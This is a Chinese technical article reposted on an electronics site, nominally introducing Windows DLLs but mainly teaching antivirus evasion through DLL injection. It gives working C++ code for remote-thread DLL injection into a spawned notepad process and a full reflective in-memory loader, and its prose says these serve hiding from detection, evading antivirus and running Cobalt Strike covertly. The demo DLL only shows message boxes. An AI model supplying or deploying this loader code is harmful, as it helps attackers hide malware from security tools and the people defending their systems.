0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
会员中心
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

Windows操作系统中DLL简介

蛇矛实验室 来源:蛇矛实验室 作者:蛇矛实验室 2022-10-20 09:52 次阅读

本文章是蛇矛实验室基于"火天网测网络安全测试平台"进行编写及验证,通过火天网测中的病毒测试模块,可以对文件进行详尽的评估, 从而对文件是否存在恶意行为进行判断。

DLL简介

DLL(动态链接库)注入技术是木马程序,远控程序免杀过程中很常见的一种技术。但是这种技术随着时间的流逝,免杀效果越来越差。因此,需要在原版的基础上我们需要去升级成反射注入,也是目前主流的免杀方式之一,反射注入的介绍我们在下面详解。

在我们继续下面的操作时,我们先去看看dll是什么.MSDN[What is a DLL]文章。通过文章基本可以了解到dll就是包含各种数据的库,它们提供了一种模块化的代码编写方法。当我们使用像 LoadLibraryA 这样的函数时,可以加载到我们程序中。

什么是 DLL

对于 Windows 操作系统,操作系统的大部分功能都是由 DLL 提供的。此外,当您在这些 Windows 操作系统上运行程序时,该程序的大部分功能可能由 DLL 提供。例如,一些程序可能包含许多不同的模块,程序的每个模块都包含在DLL中并分布在DLL中。

DLL 的使用有助于促进代码的模块化、代码重用、有效的内存使用和减少磁盘空间。因此,操作系统和程序加载速度更快,运行速度更快,并且在计算机上占用的磁盘空间更少。

当程序使用 DLL 时,称为依赖性的问题可能会导致程序无法运行。当程序使用 DLL 时,会创建一个依赖项。如果另一个程序覆盖并破坏了这种依赖关系,则原始程序可能无法成功运行。

随着 .NET Framework 的引入,大多数依赖问题已通过使用程序集消除。

更多信息

DLL 是一个库,其中包含可由多个程序同时使用的代码和数据。例如,在 Windows 操作系统中,Comdlg32 DLL 执行常见的对话框相关功能。每个程序都可以使用此 DLL 中包含的功能来实现打开对话框。它有助于促进代码重用和有效的内存使用,通过使用 DLL,可以将程序模块化为单独的组件。例如,会计程序可以按模块销售。如果安装了该模块,则每个模块都可以在运行时加载到主程序中。因为模块是分开的,所以程序的加载时间更快。并且仅在请求该功能时才加载模块。

此外,更新更容易应用于每个模块,而不会影响程序的其他部分。例如,您可能有一个工资计划,并且税率每年都在变化。当这些更改被隔离到 DLL 时,您可以应用更新而无需再次构建或安装整个程序。

以下列表描述了在 Windows 操作系统中作为 DLL 实现的一些文件:

ActiveX 控件 (.ocx) 文件

ActiveX 控件的一个示例是日历控件,它允许您从日历中选择日期。

控制面板 (.cpl) 文件

.cpl 文件的一个示例是位于控制面板中的项目。每个项目都是一个专门的 DLL。

设备驱动程序 (.drv) 文件

设备驱动程序的一个示例是控制打印到打印机的打印机驱动程序。

DLL 优势

以下列表描述了程序使用 DLL 时提供的一些优势:

使用更少的资源

当多个程序使用同一个函数库时,DLL 可以减少加载到磁盘和物理内存中的代码重复。它不仅可以极大地影响在前台运行的程序的性能,还可以极大地影响在 Windows 操作系统上运行的其他程序的性能。

促进模块化架构

DLL 有助于促进模块化程序的开发。它可以帮助您开发需要多种语言版本的大型程序或需要模块化架构的程序。模块化程序的一个示例是具有许多可以在运行时动态加载的模块的会计程序。

简化部署和安装

当 DLL 中的函数需要更新或修复时,DLL 的部署和安装不需要程序与 DLL 重新链接。此外,如果多个程序使用相同的 DLL,则多个程序都将受益于更新或修复。当您使用定期更新或修复的第三方 DLL 时,此问题可能会更频繁地发生。

从磁盘加载DLL(自身加载)

我们首先编写一个DLL(动态链接库),一个EXE(加载器),然后去把DLL加载到我们的EXE中。

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include"pch.h"

BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch(ul_reason_for_call)
{
caseDLL_PROCESS_ATTACH:
MessageBoxA(NULL, "DLL_PROCESS_ATTACH", "info", NULL);
break;
caseDLL_THREAD_ATTACH:
MessageBoxA(NULL, "DLL_THREAD_ATTACH", "info", NULL);
break;
caseDLL_THREAD_DETACH:
MessageBoxA(NULL, "DLL_THREAD_DETACH", "info", NULL);
break;
caseDLL_PROCESS_DETACH:
MessageBoxA(NULL, "DLL_PROCESS_DETACH", "info", NULL);
break;
}
returnTRUE;
}
#include
#include

intmain()
{
// 使用LoadLibraryA加载我们的dll 加载成功返回模块句柄
printf("%p
",LoadLibraryA("dll.dll"));
std::cin.get();
return0;
}

202a11fc-4faf-11ed-a3b6-dac502259ad0.png

204d7778-4faf-11ed-a3b6-dac502259ad0.png

我们这里触发了DLL_PROCESS_ATTACH 关闭exe触发了DLL_PROCESS_DETACH,这里就是说明我们的DLL已经被加载到我们的EXE中了。我们可以用Process Hacker 2工具看下:

207bcde4-4faf-11ed-a3b6-dac502259ad0.png

可以看到我们的模块地址 还有模块名称。

1f9c00a6-4faf-11ed-a3b6-dac502259ad0.png

从磁盘加载DLL(远程加载)

如果我们想把我们的程序加载到别的进程中,那么该如何去做呢?

问:为什么要注入到别人的进程中

答:注入到别人的进程中后有利于我们的隐藏。

答:注入到别人的进程中有利于做免杀。

答:注入到系统进程中有更高的操作权限。

DLL程序源码不变,我们去修改下load的代码。注入我会相对详细的去写在代码里面。

#include
#include

voidRemoteLoadDll(LPCSTR path)
{
STARTUPINFOA si = { sizeof(STARTUPINFOA) };
PROCESS_INFORMATION pi = {};

// 创建一个notepad的进程
if(CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi) == NULL)
{
// 如果创建失败直接返回
return;
}
else
{
// 创建成功打印进程pid 和 进程句柄
printf("Process PID: %d
", pi.dwProcessId);
printf("Process Handle: %p
", pi.hProcess);

intlen = strlen(path);
// 在创建的进程中申请一块内存空间
LPVOID mem_addr = VirtualAllocEx(pi.hProcess, nullptr, len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
printf(" :: Base Address: %p
", mem_addr);
// 把我们的dll路径写入到我们申请的内存空间内
WriteProcessMemory(pi.hProcess, mem_addr, (LPVOID)path, len, NULL);
// 从kernel32中获取到LoadLibraryA的函数地址
PTHREAD_START_ROUTINE func_addr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("Kernel32"), "LoadLibraryA");
printf(" :: THREAD_START_ROUTINE: %p
", func_addr);
// 创建远程线程调用LoadLibraryA加载我们的dll
HANDLE thread_handle = CreateRemoteThread(pi.hProcess, NULL, 0, func_addr, mem_addr, 0, NULL);
printf(" :: Thread: %p
", thread_handle);
// 释放工作
if(pi.hProcess)CloseHandle(pi.hProcess);
if(pi.hThread)CloseHandle(pi.hThread);
if(thread_handle)CloseHandle(thread_handle);
}
}

intmain()
{
// 使用LoadLibraryA加载我们的dll 加载成功返回模块句柄
// printf("%p
", LoadLibraryA("dll.dll"));

RemoteLoadDll(R"(E:UsersRedTeamDesktopcodedll-injectx64Debugdll.dll)");

std::cin.get();
return0;
}

209f28b6-4faf-11ed-a3b6-dac502259ad0.png

可以发现DLL已经注入进去了,但是这种注入技术很容易被发现,因为我们在模块中就可以查到我们注入的DLL,那么我们为了更好的隐藏自身,就要用到反射注入了。

1f9c00a6-4faf-11ed-a3b6-dac502259ad0.png

反射注入

反射式注入 dll ,不会调用 LoadLibraryA/W 等API来完成DLL的装载,DLL并没有在操作系统中”注册”自己的存在。因此无法使用CreateToolhelp32Snapshot 遍历到这个模块。像ProcessExplorer等软件也无法检测出进程加载了该DLL。同时也不需要 DLL 留在磁盘上(可以通过网络下发,或加密后存放在磁盘)避免文件落地,因此这种注入方式更加隐蔽(也可以说是内存加载,因为两种思路其实是一样的。)。

过程如下

加载DLL的PE文件到要注入的内存中

展开PE文件

修复重定位

解析导入地址表 (IAT)

调用DLL_PROCESS_ATTACH

具体代码如下

#include
#include

//重定位表
typedefstructBASE_RELOCATION_BLOCK{
DWORD page_addr;
DWORD block_size;
} BASE_RELOCATION_BLOCK, * PBASE_RELOCATION_BLOCK;

//重定位项
typedefstructBASE_RELOCATION_ENTRY{
USHORT offset : 12;
USHORT type : 4;
} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY;

usingDLLEntry = BOOL(WINAPI*)(HINSTANCE dll, DWORD reason, LPVOID reserved);

intmain()
{
printf("pid:%d
", GetCurrentProcessId());

// 获取当前模块
PVOID imagebase = GetModuleHandleA(NULL);

//将DLL字节读入内存缓冲区
HANDLE dll = CreateFileA(R"(C:UsersAdministratorDesktopdll-injectDebugdll.dll)", GENERIC_READ, NULL, NULL, OPEN_EXISTING, NULL, NULL);
DWORD64 dll_size = GetFileSize(dll, NULL);
LPVOID dll_bytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dll_size);
DWORD out_size = 0;
ReadFile(dll, dll_bytes, dll_size, &out_size, NULL);

// 解析dll
PIMAGE_DOS_HEADER dosheaders = (PIMAGE_DOS_HEADER)dll_bytes;
PIMAGE_NT_HEADERS ntheaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)dll_bytes + dosheaders->e_lfanew);
SIZE_T dllImage_size = ntheaders->OptionalHeader.SizeOfImage;

// 为DLL分配新的内存空间
LPVOID dllbase = VirtualAlloc((LPVOID)ntheaders->OptionalHeader.ImageBase, dllImage_size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
printf("new memory addr:%p
", dllbase);

//计算得到基地址的偏移量,也就是实际的 DLL 加载地址减去 DLL 的推荐加载地址
DWORD_PTR delta_image_base = (DWORD_PTR)dllbase - (DWORD_PTR)ntheaders->OptionalHeader.ImageBase;

// 将DLL节表头复制到新分配的DLL空间
std::memcpy(dllbase, dll_bytes, ntheaders->OptionalHeader.SizeOfHeaders);

// 将DLL节部分复制到新分配的DLL空间
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntheaders);
for(size_ti = 0; i < ntheaders->FileHeader.NumberOfSections; i++)
{
LPVOID section_destination = (LPVOID)((DWORD_PTR)dllbase + (DWORD_PTR)section->VirtualAddress);
LPVOID section_bytes = (LPVOID)((DWORD_PTR)dll_bytes + (DWORD_PTR)section->PointerToRawData);
std::memcpy(section_destination, section_bytes, section->SizeOfRawData);
section++;
}

//修复重定位
IMAGE_DATA_DIRECTORY relocations = ntheaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
DWORD_PTR relocation_table = relocations.VirtualAddress + (DWORD_PTR)dllbase;
DWORD relocations_processed = 0;

while(relocations_processed < relocations.Size)
  {
    PBASE_RELOCATION_BLOCK relocation_block = (PBASE_RELOCATION_BLOCK)(relocation_table + relocations_processed);
    relocations_processed += sizeof(BASE_RELOCATION_BLOCK);
    DWORD relocations_count = (relocation_block->block_size - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);
PBASE_RELOCATION_ENTRY relocation_entries = (PBASE_RELOCATION_ENTRY)(relocation_table + relocations_processed);

for(DWORD i = 0; i < relocations_count; i++)
    {
      relocations_processed += sizeof(BASE_RELOCATION_ENTRY);

      if (relocation_entries[i].type == 0)
      {
        continue;
      }

      DWORD_PTR relocation_rva = relocation_block->page_addr + relocation_entries[i].offset;
DWORD_PTR address_2_patch = 0;
ReadProcessMemory(GetCurrentProcess(), (LPCVOID)((DWORD_PTR)dllbase + relocation_rva), &address_2_patch, sizeof(DWORD_PTR), NULL);
address_2_patch += delta_image_base;
std::memcpy((PVOID)((DWORD_PTR)dllbase + relocation_rva), &address_2_patch, sizeof(DWORD_PTR));
}
}

//解析导入地址表
PIMAGE_IMPORT_DESCRIPTOR import_descriptor = NULL;
IMAGE_DATA_DIRECTORY imports_directory = ntheaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
import_descriptor = (PIMAGE_IMPORT_DESCRIPTOR)(imports_directory.VirtualAddress + (DWORD_PTR)dllbase);
LPCSTR libraryname = "";
HMODULE library = NULL;

while(import_descriptor->Name != NULL)
{
libraryname = (LPCSTR)import_descriptor->Name + (DWORD_PTR)dllbase;
library = LoadLibraryA(libraryname);

if(library)
{
PIMAGE_THUNK_DATA thunk = NULL;
thunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)dllbase + import_descriptor->FirstThunk);

while(thunk->u1.AddressOfData != NULL)
{
if(IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal))
{
LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal);
thunk->u1.Function = (DWORD_PTR)GetProcAddress(library, functionOrdinal);
}
else
{
PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)dllbase + thunk->u1.AddressOfData);
DWORD_PTR functionAddress = (DWORD_PTR)GetProcAddress(library, functionName->Name);
thunk->u1.Function = functionAddress;
}
++thunk;
}
}

import_descriptor++;
}

//执行
DLLEntry dllentry = (DLLEntry)((DWORD_PTR)dllbase + ntheaders->OptionalHeader.AddressOfEntryPoint);
(*dllentry)((HINSTANCE)dllbase, DLL_PROCESS_ATTACH, 0);

CloseHandle(dll);
HeapFree(GetProcessHeap(), 0, dll_bytes);

return0;
}

211e918c-4faf-11ed-a3b6-dac502259ad0.png

23c03a76-4faf-11ed-a3b6-dac502259ad0.png

从这里可以看到我们DLL的PE结构存放在我们新申请的内存里,我们内存展开后去执行了这个程序。这样更加隐蔽的去执行了我们的程序。在免杀技术中,我经常使用这种技术配合白加黑去执行Cobalt Strike的EXE程序,隐蔽的去执行我们的代码,当然这里我们也可以更加隐蔽的去执行我们的代码。

蛇矛实验室成立于2020年,致力于安全研究、攻防解决方案、靶场对标场景仿真复现及技战法设计与输出等相关方向。团队核心成员均由从事安全行业10余年经验的安全专家组成,团队目前成员涉及红蓝对抗、渗透测试、逆向破解、病毒分析、工控安全以及免杀等相关领域。

审核编辑:汤梓红

声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • dll
    dll
    +关注

    关注

    0

    文章

    114

    浏览量

    45244
  • WINDOWS
    +关注

    关注

    3

    文章

    3502

    浏览量

    87831
  • 操作系统
    +关注

    关注

    37

    文章

    6535

    浏览量

    122676

原文标题:免杀技术之dll注入技术详解

文章出处:【微信号:蛇矛实验室,微信公众号:蛇矛实验室】欢迎添加关注!文章转载请注明出处。

收藏 人收藏

    评论

    相关推荐

    Windows Embedded 操作系统

    、占用内存很少的设备。借助一整套完善的操作系统功能和综合开发工具,Windows CE 可包含开发人员开发、调试和部署自定义设备所需的各种功能。  Windows CE 的组件化功能
    发表于 04-16 09:16

    UCOSII操作系统简介

    的ESP8266+onenet+http协议的程序链接,可以作为参考,如果文中有不当的地方,还请各位大佬加以中指正,我一定会虚心求教。参考资料:正点原子RTOS操作系统讲解,参考的文章:(53条消息) STM32学习笔记一一UCOSII(1)_霁风AI-CSDN博客_ucosii1.UCOSII
    发表于 01-12 06:00

    Windows2012操作系统部署EasyRTC程序错误怎么解决

    Windows2012操作系统部署EasyRTC,发现运行程序出现以下错误:原因分析从上图报错可以看到,我们的系统丢失了两个库。EasyRTC的freeswitch模块的运行需要加载
    发表于 02-11 06:28

    Windows XP操作系统 ppt课件

    Windows XP操作系统2.1 操作系统概念2.1.1 操作系统的地位2.1.2 操作系统的定义和功能2.1.3
    发表于 11-07 09:50 0次下载

    Windows 2000操作系统培圳教程

    Windows 2000操作系统培圳教程:第3章  中文Windows 2000操作系统 3.1  &nb
    发表于 03-11 16:57 0次下载

    WINDOWS操作系统

    WINDOWS操作系统              (1)Windows
    发表于 12-17 11:53 705次阅读

    WINDOWS操作系统有哪些?

    WINDOWS操作系统有哪些? (1)Windows 98
    发表于 12-26 11:59 7206次阅读

    什么是Windows Vista操作系统

    什么是Windows Vista操作系统  Vista是微软下一代操作系统,以前叫做Longhorn(微软当初内部的代号)。22日微软对外宣布正式名称是Windows Vista。作
    发表于 01-21 16:09 1850次阅读

    手机Windows mobile系列操作系统

    手机Windows mobile系列操作系统 Windows mobile 系列操作系统是在微软计算机的Windows
    发表于 01-28 17:01 582次阅读

    Windows XP操作系统内存条优化指南

    Windows XP操作系统内存条优化指南 虽然Windows XP是一个很出色的操作系统,但它对内存的要求是在是惊人,即使是128兆内存,也会出现
    发表于 01-11 11:45 714次阅读

    Linux操作系统Windows操作系统的五大区别

    Linux操作系统Windows操作系统身为三大操作系统巨头里面的两大巨头,他们有什么区别呢?首先,先要声明一点,所有以Linux内核为基础开发的
    发表于 07-10 16:28 7753次阅读

    基于Windows CE操作系统实现OAL层的功能和结构应用设计

    重新写的,并不是任何一款桌面版Windows的精简版本。 Windows CE是一种支持多种CPU架构的操作系统,这其中包括ARM、x86、MIPS和SHx,极大地减轻了0EM开发过程
    的头像 发表于 10-04 13:30 1871次阅读
    基于<b class='flag-5'>Windows</b> CE<b class='flag-5'>操作系统</b>实现OAL层的功能和结构应用设计

    DLL简介

    DLL 劫持 DLL 简介Windows ,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即
    的头像 发表于 05-22 15:51 1255次阅读
    <b class='flag-5'>DLL</b><b class='flag-5'>简介</b>

    Windows操作系统的常用命令

    这些命令不仅能提高工作效率,还能帮助用户解决许多复杂的问题。本系列文章将详细介绍Windows操作系统的常用命令,帮助你成为Windows极客!
    的头像 发表于 08-07 15:40 207次阅读
    <b class='flag-5'>Windows</b><b class='flag-5'>操作系统</b><b class='flag-5'>中</b>的常用命令

    Windows操作系统是什么?它有哪些特点?

    Windows操作系统是由美国微软公司(Microsoft Corporation)开发和推出的一种计算机操作系统。自1985年Windows 1.0版本发布以来,
    的头像 发表于 08-07 16:30 264次阅读